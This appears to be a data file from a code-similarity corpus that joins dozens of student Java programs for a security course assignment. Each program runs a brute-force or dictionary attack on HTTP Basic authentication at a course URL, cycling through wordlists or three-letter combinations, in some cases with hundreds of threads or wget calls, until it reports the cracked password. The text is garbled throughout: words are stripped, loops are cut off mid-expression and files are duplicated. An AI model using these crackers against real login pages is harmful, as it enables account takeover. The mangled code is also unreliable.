DICTIONARY CRACKING ALGORITHM"",MAXTHREAD); } if (MAXTHREAD>ALLCOMBI) { MAXTHREAD = (int) (ALLCOMBI); } mult = (ALLCOMBI) / MAXTHREAD; i = System.currentTimeMillis(); for (thcount=0;thcount=0) { System.out.println(); System.out.println("" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************""); System.out.println(); System.out.println("" The password is : ""+passw); System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); System.out.println("" Worstcase time estd : ""+fmt.format(1/ovAps*ALLCOMBI)+ "" seconds""); System.out.println(); System.out.println("" ***************************************************************************""); System.out.println(); } else { System.out.println(); System.out.println("" ********************* [ UNABLE CRACK THE URL !!! ] *********************""); System.out.println(); System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); System.out.println(); System.out.println("" ***************************************************************************""); System.out.println(); } } } public static void printSyntax() { System.out.println(); System.out.println(""Syntax : Dictionary [mode] [URL] [] [] [username]""); System.out.println(); System.out.println("" mode : (opt) 0 - NAIVE Dictionary mode""); System.out.println("" (trying from the first the last combinations)""); System.out.println("" 1 - ENHANCED Dictionary mode""); System.out.println("" (dividing cracking jobs multiple threads) (default)""); System.out.println("" URL : (opt) the URL crack ""); System.out.println("" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)""); System.out.println("" , : (optional) range of characters applied in the cracking""); System.out.println("" where 1 <= <= 255 (default = 1)""); System.out.println("" <= <= 255 (default = 3)""); System.out.println("" username : (optional) the username that is used crack""); System.out.println(); System.out.println("" NOTE: The optional parameters '','', and 'username'""); System.out.println("" have specified altogether none at all.""); System.out.println("" For example, if [] is specified, then [], and [username]""); System.out.println("" have specified as well. If none of them specified,""); System.out.println("" default values used.""); System.out.println(); System.out.println("" Example of invocation :""); System.out.println("" java Dictionary ""); System.out.println("" java Dictionary 0""); System.out.println("" java Dictionary 1 http://localhost/tryme.php""); System.out.println("" java Dictionary 0 http://localhost/tryme.php 1 3 ""); System.out.println("" java Dictionary 1 http://localhost/tryme.php 1 10 ""); System.out.println(); System.out.println(); } public static void paramCheck(String[] args) { int argc = args.length; try { switch (Integer.valueOf(args[0]).intValue()) { case 0: { isenhanced = false; } break; case 1: { isenhanced = true; } break; default: System.out.println(""Syntax error : invalid mode '""+args[0]+""'""); printSyntax(); System.exit(1); } } catch (NumberFormatException e) { System.out.println(""Syntax error : invalid number '""+args[0]+""'""); printSyntax(); System.exit(1); } if (argc>1) { try { URL u = new URL(args[1]); try { HttpURLConnection conn = (HttpURLConnection) u.openConnection(); switch (conn.getResponseCode()) { case HttpURLConnection.HTTP_ACCEPTED: case HttpURLConnection.HTTP_OK: case HttpURLConnection.HTTP_NOT_AUTHORITATIVE: case HttpURLConnection.HTTP_FORBIDDEN: case HttpURLConnection.HTTP_UNAUTHORIZED: break; default: System.out.println(""Unable open connection the URL '""+args[1]+""'""); System.exit(1); } } catch (IOException e) { System.out.println(e); System.exit(1); } THEURL = args[1]; } catch (MalformedURLException e) { System.out.println(""Invalid URL '""+args[1]+""'""); printSyntax(); System.exit(1); } } if (argc==5) { try { MINCHAR = Integer.valueOf(args[2]).intValue(); } catch (NumberFormatException e) { System.out.println(""Invalid range number value '""+args[2]+""'""); printSyntax(); System.exit(1); } try { MAXCHAR = Integer.valueOf(args[3]).intValue(); } catch (NumberFormatException e) { System.out.println(""Invalid range number value '""+args[3]+""'""); printSyntax(); System.exit(1); } if ((MINCHAR<1) || (MINCHAR>255)) { System.out.println(""Invalid range number value '""+args[2]+""' (must between 0 and 255)""); printSyntax(); System.exit(1); } else if (MINCHAR>MAXCHAR) { System.out.println(""Invalid range number value '""+args[2]+""' (must lower than the value)""); printSyntax(); System.exit(1); } if (MAXCHAR>255) { System.out.println(""Invalid range number value '""+args[3]+""' (must between value and 255)""); printSyntax(); System.exit(1); } USERNAME = args[4]; } else if ((argc>2) && (argc<5)) { System.out.println(""Please specify the [], [], and [username] altogether none at all""); printSyntax(); System.exit(1); } else if ((argc>2) && (argc>5)) { System.out.println(""The number of parameters expected is not more than 5. ""); System.out.println("" have specified more than 5 parameters.""); printSyntax(); System.exit(1); } } public static void main(String[] args) { MINCHAR = 1; MAXCHAR = 3; if (args.length==0) { args = new String[5]; args[0] = String.valueOf(1); args[1] = THEURL; args[2] = String.valueOf(MINCHAR); args[3] = String.valueOf(MAXCHAR); args[4] = USERNAME; } paramCheck(args); readThroughDictionary(); Application = new Dictionary(); } public static Dictionary Application; public static String THEURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; public static String DICTIONARY = System.getProperty(""user.dir"")+""/words""; public static String TEMPDICT = System.getProperty(""user.dir"")+""/~words""; public static boolean isenhanced; public static String passw = """"; public static final int REPORT_INTERVAL = 1; public static int MAXTHREAD = 50; public static int MAXCONN = 50; public static int curconn = 0; public static int success = -1; public static String USERNAME = """"; public static int MINCHAR; public static int MAXCHAR; public static int ALLCOMBI; public static int start ,end; public static int MAXCACHE = 100; public static java.util.Timer reportTimer; public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; public static boolean connused[] = new boolean[MAXCONN]; public ThCrack[] threads = new ThCrack[MAXTHREAD]; public static int attempt = 0; public static int idxLimit; } " 021.java," import java.util.*; import java.net.*; import java.io.*; import misc.BASE64Encoder; import javax.swing.*; public class ConnectionThread extends Thread { private String url; private URL currURL; private URLConnection conn; private HoldSharedData sharedData; private int noOfThread; private int batch; public ConnectionThread( String pageURL, int wThread, int newBatch, HoldSharedData data ) { super(); url = pageURL; noOfThread = wThread; batch = newBatch; sharedData = data; } public void run() { try { currURL = new URL( url ); for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) && (i < sharedData.getPwdCount()); i ++ ) { String pwd = sharedData.getPasswordAt( i ); conn = currURL.openConnection(); if (conn instanceof HttpURLConnection) { HttpURLConnection hconn = (HttpURLConnection) conn; hconn.setFollowRedirects(false); String cad = "" "" + based64Encoder( "":"" + pwd ); hconn.setRequestProperty( ""Authorization"", cad ); hconn.connect(); int response = hconn.getResponseCode(); sharedData.setNumOfConnections(); if( response == 200 ) { totalTime = System.currentTimeMillis() - sharedData.getStartTime(); int numOfConnections = sharedData.getNumOfConnections(); System.out.println( ""Password is "" + pwd ); System.out.println( ""Total Time(seconds)= "" + (double)totalTime/1000 ); System.out.println( ""Total Number Of Connections: "" + numOfConnections ); System.exit(0); } else { hconn.disconnect(); } } } } catch( MalformedURLException mue ) { String msg = ""Unable parse URL: "" + url; System.err.println( msg ); } catch( IOException ioe ) { System.err.println( ""I/O Error : "" + ioe ); } } private String based64Encoder( String pwd ) { String str = pwd; byte[] buf = str.getBytes(); String encodedStr = new misc.BASE64Encoder().encode(buf); return encodedStr; } } ",014.java," import java.util.*; import java.net.*; import java.io.*; import misc.BASE64Encoder; import javax.swing.*; public class ConnectionThread extends Thread { private String url; private URL currURL; private URLConnection conn; private HoldSharedData sharedData; private int noOfThread; private int batch; public ConnectionThread( String pageURL, int wThread, int newBatch, HoldSharedData data ) { super(); url = pageURL; noOfThread = wThread ; batch = newBatch; sharedData = data; } public void run() { try { currURL = new URL( url ); for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) && (i < sharedData.getPwdCount()); i ++ ) { String pwd = sharedData.getPasswordAt( i ); conn = currURL.openConnection(); if (conn instanceof HttpURLConnection) { HttpURLConnection hconn = (HttpURLConnection) conn; hconn.setFollowRedirects(false); String cad = "" "" + based64Encoder( "":"" + pwd ); hconn.setRequestProperty( ""Authorization"", cad ); hconn.connect(); int response = hconn.getResponseCode(); sharedData.setNumOfConnections(); if( response == 200 ) { totalTime = System.currentTimeMillis() - sharedData.getStartTime(); int numOfConnections = sharedData.getNumOfConnections(); System.out.println( ""Password is "" + pwd ); System.out.println( ""Total Time(seconds)="" + (double)totalTime/1000 ); System.out.println( ""Number Of Connections: "" + numOfConnections ); System.exit(0); } else { hconn.disconnect(); } } } } catch( MalformedURLException mue ) { String msg = ""Unable parse URL: "" + url; System.err.println( msg ); } catch( IOException ioe ) { System.err.println( ""I/O Error : "" + ioe ); } } private String based64Encoder( String pwd ) { String str = pwd; byte[] buf = str.getBytes(); String encodedStr = new misc.BASE64Encoder().encode(buf); return encodedStr; } } " 010.java," import java.io.*; import java.*; import java.util.StringTokenizer; public class Dictionary { public static void main(String args[]) { final String DICT_FILE = ""/usr/share/lib/dict/words""; String basic_url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; String password; String s = null; int num_tries = 0; try { BufferedReader dict_word = new BufferedReader (new FileReader (DICT_FILE)); while((password = dict_word.readLine())!= null) { try { Process p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd="" + password + "" "" + basic_url); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((s = stdInput.readLine()) != null) { System.out.println(s); } while ((s = stdError.readLine()) != null) { System.out.println(s); } try { p.waitFor(); } catch (InterruptedException g) { } num_tries++; if((p.exitValue()) == 0) { System.out.println(""**********PASSWORD IS: "" + password); System.out.println(""**********NUMBER OF TRIES: "" + num_tries); System.exit(1); } } catch (IOException e) { System.out.println(""exception happened - here's what I know: ""); e.printStackTrace(); System.exit(-1); } } System.out.println(""DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD""); System.out.println(""**********Sorry, password was not found in dictionary file""); System.exit(1); } catch (FileNotFoundException exception) { System.out.println(exception); } catch (IOException exception) { System.out.println(exception); } } } ",008.java," import java.io.*; import java.*; public class BruteForce { public static void main(String args[]) { String s = null; String basic_url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; String alphabets = new String(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""); String password = null; int len = 0; int num_tries = 0; len = alphabets.length(); for (int i=0; i ""); System.exit(1); } timeStart = System.currentTimeMillis(); String strPass = applyDictionary (args[0], args[1], args [2]); timeEnd = System.currentTimeMillis(); System.out.println(""\n\n\n\n\tPass Cracked is: "" + strPass); System.out.println(""\tTime taken is (sec):"" + String.valueOf((timeEnd - timeStart)/1000)); } catch(Exception e) { e.printStackTrace(); } } static String applyDictionary (String URL, String UserName, String strUrlDictionary) { String strPass = """"; try { FileInputStream fIn = new FileInputStream ( strUrlDictionary ); DataInputStream dtIn = new DataInputStream ( fIn ); System.out.print(""\n\n\n Applying Dictionary Attack: ""); while (dtIn.available() > 0) { strPass = dtIn.readLine(); if (strPass.length() != 3) continue; System.out.print(""\b\b\b"" + strPass ); boolean boolResult = applyPass ( URL, UserName, strPass ); if (boolResult) { dtIn.close(); fIn.close(); return strPass; } } dtIn.close(); fIn.close(); } catch (Exception e) { e.printStackTrace(); } return ""Could not find match""; } private static boolean applyPass (String strURL, String strUserName, String strPass ) { BASE64Encoder myEncoder = new BASE64Encoder (); try { String str = strUserName + "":"" + strPass; String strEncode = myEncoder.encode(str.getBytes()); URL url = new URL (strURL); URLConnection urlConn = url.openConnection(); urlConn.setRequestProperty (""Authorization"", "" "" + strEncode); urlConn.connect(); String strReply = urlConn.getHeaderField(0); if ( strReply.trim().equalsIgnoreCase(""HTTP/1.1 200 OK"") ) { return true; } } catch (Exception e) { e.printStackTrace (); } return false; } } ",140.java,"import java.io.*; import java.util.*; import java.net.*; import java.misc.BASE64Encoder; public class BruteForce { public BruteForce() { } public static void main(String[] args) { try { if (args.length != 2 ) { System.out.println(""Usage: java BruteForce ""); System.exit(1); } timeStart = System.currentTimeMillis(); String strPass = applyBruteForce (args[0], args[1]); timeEnd = System.currentTimeMillis(); System.out.println(""\n\n\n\n\tPass Cracked is: "" + strPass); System.out.println(""\tTime taken is (sec):"" + String.valueOf((timeEnd - timeStart)/1000)); } catch(Exception e) { e.printStackTrace(); } } static String applyBruteForce (String URL, String UserName) { String strPass = """"; char ch1, ch2, ch3; System.out.print(""\n\n\n Applying BruteForce Attack: ""); for (ch1 = 'A' ; ch1 <= 'z' ; ch1 ++) { if ( ch1 > 'Z' && ch1 < 'a' ) ch1 = 'a'; for (ch2 = 'A' ; ch2 <= 'z' ; ch2 ++) { if ( ch2 > 'Z' && ch2 < 'a' ) ch2 = 'a'; for (ch3 = 'A' ; ch3 <= 'z' ; ch3 ++) { if ( ch3 > 'Z' && ch3 < 'a' ) ch3 = 'a'; strPass = String.valueOf(ch1) + String.valueOf(ch2) + String.valueOf(ch3); System.out.print(""\b\b\b"" + strPass ); boolean boolResult = applyPass ( URL, UserName, strPass ); if (boolResult) { return strPass; } } } } return ""Could not find match""; } private static boolean applyPass (String strURL, String strUserName, String strPass ) { BASE64Encoder myEncoder = new BASE64Encoder (); try { String str = strUserName + "":"" + strPass; String strEncode = myEncoder.encode(str.getBytes()); URL url = new URL (strURL); URLConnection urlConn = url.openConnection(); urlConn.setRequestProperty (""Authorization"", "" "" + strEncode); urlConn.connect(); String strReply = urlConn.getHeaderField(0); if ( strReply.trim().equalsIgnoreCase(""HTTP/1.1 200 OK"") ) { return true; } } catch (Exception e) { e.printStackTrace (); } return false; } } " 061.java," import java.io.*; import java.util.*; import java.net.*; public class Dictionary { public static void main(String[] args) { String attackURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; String userID = """"; String Password=""""; String userPassword=""""; File inputFile = new File(""/usr/share/lib/dict/words""); FileReader fin = null; BufferedReader bf = null; try { startmillisecond = System.currentTimeMillis(); URL url = new URL(attackURL); fin = new FileReader(inputFile); bf = new BufferedReader(fin); int count = 0; while ((Password = bf.readLine()) !=null) { if (Password.length() < 4) { count++; try { userPassword = userID + "":"" + Password; System.out.println(""User & Password :"" + userPassword); String encoding = Base64Converter.encode (userPassword.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { System.out.println(line); } endmillisecond = System.currentTimeMillis(); searchmillisecond = endmillisecond - startmillisecond; System.out.println(""Match in "" + searchmillisecond + "" milliseconds ""); System.out.println(""Try in "" + count + "" times ""); System.exit(1); } catch (MalformedURLException e) { System.out.println(""Invalid URL""); } catch (IOException e) { System.out.println(""Error URL""); } } } } catch (Exception ioe) { System.out.println(ioe.getMessage()); } finally { } } } ",216.java," import java.io.*; import java.net.*; import java.util.*; import java.*; public class Dictionary { public static void main(String args[]) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); int flag=1; String filename = ""words""; try { String urlString = new String(""http://sec-crack.cs.rmit.edu./SEC/2/""); String thePassword= new String(); BufferedReader inputStream= new BufferedReader(new FileReader(filename)); String line=inputStream.readLine(); stime = System.currentTimeMillis(); while (line!= null && flag==1) { try { URL url = new URL (urlString); String userPassword = """" + "":"" + line; String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty(""Authorization"", "" "" + encoding); InputStream content = (InputStream)uc.getContent(); endtime = System.currentTimeMillis(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line2; while ((line2 = in.readLine()) != null) { pw.println (line2); } flag=0; System.out.println(""process time is : "" +(endtime-stime)/1000 +"" seconds.""); }catch (MalformedURLException e) { flag=1; }catch (IOException e) { flag=1; } line=inputStream.readLine(); } inputStream.close(); } catch(FileNotFoundException e) { System.err.println(""File ""+filename+"" was not found""); } catch(IOException e) { System.err.println(""Error ""); } System.out.println(""content is ""+ sw.toString()); } }" 224.java," import java.io.*; import java.text.*; import java.util.*; import java.net.*; public class Dictionary extends Thread { private static final String USERNAME = """"; private static final String DICTIONARY_FILE = ""/usr/share/lib/dict/words""; private static int NUMBER_OF_THREAD = 500; private static Date startDate = null; private static Date endDate = null; private String address; private String password; public Dictionary(String address, String password) { this.address = address; this.password = password; } public static void main(String[] args) throws IOException { if (args.length < 1) { System.err.println(""Invalid usage!""); System.err.println(""Usage: java Dictionary ""); System.exit(1); } try { dic(args[0], USERNAME); } catch(Exception e) { e.printStackTrace(); System.exit(1); } } public static void dic(String address, String user) { Dictionary [] threads = new Dictionary[NUMBER_OF_THREAD]; int index = 0; startDate = new Date(); try { BufferedReader buff = new BufferedReader(new FileReader(DICTIONARY_FILE)); String password = null; while((password = buff.readLine()) != null) { if (threads[index] != null && threads[index].isAlive()) { try { threads[index].join(); } catch(InterruptedException e) {} } threads[index] = new Dictionary(address, password.trim()); threads[index].get(); index = (index++) % threads.length; } } catch(Exception e) { e.printStackTrace(); } } public void run() { if (endDate != null) return; try { URLConnection conn = (new URL(address)).openConnection(); conn.setDoInput(true); if (login(conn, USERNAME, password)) { endDate = new Date(); System.out.println(""Found the password: \""""+password+""\""!""); SimpleDateFormat format = new SimpleDateFormat(""dd/MM/yyyy HH:mm:""); System.out.println(""Process started at: ""+format.format(startDate)); System.out.println(""Process started at: ""+format.format(endDate)); double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000; System.out.println(""Time taken: ""+timeTaken+"" minutes""); System.exit(0); } else { System.out.println(""Password: \""""+password+""\"" Failed!""); return; } } catch(Exception e) { e.printStackTrace(); } } public static boolean login(URLConnection conn, String user, String pass) { try { String encodeAuth = "" ""+Base64Encoder.encode(user+"":""+pass); conn.setRequestProperty (""Authorization"", encodeAuth); conn.connect(); conn.getInputStream(); } catch(Exception e) { return false; } return true; } } ",221.java," import java.io.*; import java.text.*; import java.util.*; import java.net.*; public class BruteForce extends Thread { private static final String USERNAME = """"; private static final char [] POSSIBLE_CHAR = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'}; private static int NUMBER_OF_THREAD = 500; private static Date startDate = null; private static Date endDate = null; private String address; private String password; public BruteForce(String address, String password) { this.address = address; this.password = password; } public static void main(String[] args) throws IOException { if (args.length < 1) { System.err.println(""Invalid usage!""); System.err.println(""Usage: java BruteForce ""); System.exit(1); } try { brute(args[0], USERNAME); } catch(Exception e) { e.printStackTrace(); System.exit(1); } } public static void brute(String address, String user) { BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD]; int index = 0; startDate = new Date(); for(int i = 0; i < POSSIBLE_CHAR.length; i++) { for(int j = 0; j < POSSIBLE_CHAR.length; j++) { for(int k = 0; k < POSSIBLE_CHAR.length; k++) { String password = """"+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+ POSSIBLE_CHAR[k]; if (threads[index] != null && threads[index].isAlive()) { try { threads[index].join(); } catch(InterruptedException e ) {} } threads[index] = new BruteForce(address, password); threads[index].get(); index = (index++) % threads.length; } } } } public void run() { if (endDate != null) return; try { URLConnection conn = (new URL(address)).openConnection(); conn.setDoInput(true); if (login(conn, USERNAME, password)) { endDate = new Date(); System.out.println(""Found the password: \""""+password+""\""!""); SimpleDateFormat format = new SimpleDateFormat(""dd/MM/yyyy HH:mm:""); System.out.println(""Process started at: ""+format.format(startDate)); System.out.println(""Process started at: ""+format.format(endDate)); double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000; System.out.println(""Time taken: ""+timeTaken+"" minutes""); System.exit(0); } else { System.out.println(""Password: \""""+password+""\"" Failed!""); return; } } catch(Exception e) { e.printStackTrace(); } } public static boolean login(URLConnection conn, String user, String pass) { try { String encodeAuth = "" ""+Base64Encoder.encode(user+"":""+pass); conn.setRequestProperty (""Authorization"", encodeAuth); conn.connect(); conn.getInputStream(); } catch(Exception e) { return false; } return true; } } " 069.java," import java.misc.BASE64Encoder; import java.misc.BASE64Decoder; import java.io.*; import java.net.*; import java.util.*; public class BruteForce { static char [] passwordDataSet = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"".toCharArray(); private int indices[] = {0,0,0}; private String url = null; public BruteForce(String url) { this.url = url; } private int attempts = 0; private boolean stopGen = false; public String getNextPassword(){ String nextPassword = """"; for(int i = 0; i ""); System.exit(1); } BruteForce bruteForce1 = new BruteForce(args[0]); try{ Calendar cal1=null, cal2=null; cal1 = Calendar.getInstance(); System.out.println(""Cracking started at: "" + cal1.getTime().toString()); String password = bruteForce1.crackPassword(args[1]); if(password != null) System.out.println(""\nPassword is: ""+password); else System.out.println(""\nPassword could not retrieved!""); cal2 = Calendar.getInstance(); System.out.println(""Cracking finished at: "" + cal2.getTime().toString()); Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime()); System.out.println(""Total Time taken crack: "" + (d3.getTime())/1000 + "" sec""); System.out.println(""Total attempts : "" + bruteForce1.getAttempts()); }catch(MalformedURLException mue){ mue.printStackTrace(); } catch(IOException ioe){ ioe.printStackTrace(); } } }",070.java," import java.misc.BASE64Encoder; import java.misc.BASE64Decoder; import java.io.*; import java.net.*; import java.util.*; public class Dictionary { public Dictionary(String url, String dictionaryFile) { try{ this.url = url; this.dictionaryPath = dictionaryFile; InputStream fis = new FileInputStream(this.dictionaryPath); dict = new BufferedReader(new InputStreamReader(fis)); }catch(IOException ioe){ System.out.println(""Error opening dictionary file:\n"" +ioe); } } private String url = null; private String dictionaryPath = null; private BufferedReader dict = null; private int attempts = 0; private int passwordSize = 3; public void setPasswordSize(int size){ this.passwordSize = size; } public String getNextPassword()throws IOException{ String line = dict.readLine(); while(line!=null&&line.length()!=this.passwordSize ) line = dict.readLine(); return line; } public String crackPassword(String user) throws IOException, MalformedURLException{ URL url = null; URLConnection urlConnection = null; String outcome = null; String authorization = null; String password = null; BASE64Encoder b64enc = new BASE64Encoder(); InputStream content = null; BufferedReader in = null; while(!""HTTP/1.1 200 OK"".equalsIgnoreCase(outcome)){ url = new URL(this.url); urlConnection = url.openConnection(); urlConnection.setDoInput(true); urlConnection.setDoOutput(true); urlConnection.setRequestProperty(""GET"", url.getPath() + "" HTTP/1.1""); urlConnection.setRequestProperty(""Host"", url.getHost()); password = getNextPassword(); if(password == null) return null; System.out.print(password); authorization = user + "":"" + password; urlConnection.setRequestProperty(""Authorization"", "" ""+ b64enc.encode(authorization.getBytes())); outcome = urlConnection.getHeaderField(null); this.attempts ++; urlConnection = null; url = null; if(this.attempts%51 == 0) for(int b = 0; b < 53;b++) System.out.print(""\b \b""); else System.out.print(""\b\b\b.""); } return password; } public int getAttempts(){ return this.attempts; } public static void main (String[] args) { if(args.length != 3){ System.out.println(""usage: java attacks.Dictionary ""); System.exit(1); } Dictionary dictionary1 = new Dictionary(args[0], args[2]); try{ Calendar cal1=null, cal2=null; cal1 = Calendar.getInstance(); System.out.println(""Cracking started at: "" + cal1.getTime().toString()); String password = dictionary1.crackPassword(args[1]); if(password != null) System.out.println(""\nPassword is: ""+password); else System.out.println(""\nPassword could not retrieved!""); cal2 = Calendar.getInstance(); System.out.println(""Cracking finished at: "" + cal2.getTime().toString()); Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime()); System.out.println(""Total Time taken crack: "" + (d3.getTime())/1000 + "" sec""); System.out.println(""Total attempts : "" + dictionary1.getAttempts()); }catch(MalformedURLException mue){ mue.printStackTrace(); } catch(IOException ioe){ ioe.printStackTrace(); } } }" 086.java,"import java.net.*; import java.io.*; import java.*; public class BruteForce { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ BruteForce a = new BruteForce(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; int attempts = 0; exit: for (int i=0;i= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",243.java,"import java.net.*; import java.io.*; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""""); String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println(""Password Cracked Successfully!!!""); System.out.println(""The passsword is :"" + passwd + ""and got after "" +attempts + "" tries""); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println(""Message :"" +r); Dictionary a = new Dictionary(); a.attack(args); } else { System.out.println(""Trying again""); Dictionary a = new Dictionary(); a.attack(args); } } } public String getPasswd() { int i=0;int j=0; attempts++; int count =0; System.out.println(""Passing dictionary word and waiting for URL reply....... ""); String currentword = """"; String se = """"; try{ FileInputStream reader = new FileInputStream (""words""); DataInputStream in = new DataInputStream(reader); while (in.available() !=0) { currentword = in.readLine(); count++; } } catch( IOException e){} return currentword; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 086.java,"import java.net.*; import java.io.*; import java.*; public class BruteForce { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ BruteForce a = new BruteForce(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; int attempts = 0; exit: for (int i=0;i= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } ",242.java,"import java.net.*; import java.io.*; public class Bruteforce { int attempts = 0; int l = 65;int m = 65;int n = 65; URLConnection conn = null; public static void main(String args[]){ Bruteforce a = new Bruteforce(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""""); String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println(""Password Cracked Successfully!!!""); System.out.println(""The passsword is :"" + passwd + ""and got after "" + attempts + "" tries""); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println(""Message :"" +r); System.out.println(""Trying again with new password""); Bruteforce a = new Bruteforce(); a.attack(args); } else { System.out.println(""Trying again with new password""); Bruteforce a = new Bruteforce(); a.attack(args); } } } public String getPasswd() { attempts++; char i1 = 0; char j1 = 0; char k1 = 0; int i= l; int j= m; int k= n; String c = new String(); String c1 = new String(); String c2 = new String(); String c3 = new String(); String c4 = new String(); boolean flag; for (i=l;i<123;i++) for (j=m;j<123;j++) for (k=n;k<123;k++) { if( flag = true ) { i1 = (char)i; j1 = (char)j; k1 = (char)k; if (i==91) i=97; if (j==91) j=97; if (k==91) k=97; c = i1+""""; c1 = j1+""""; c2 = 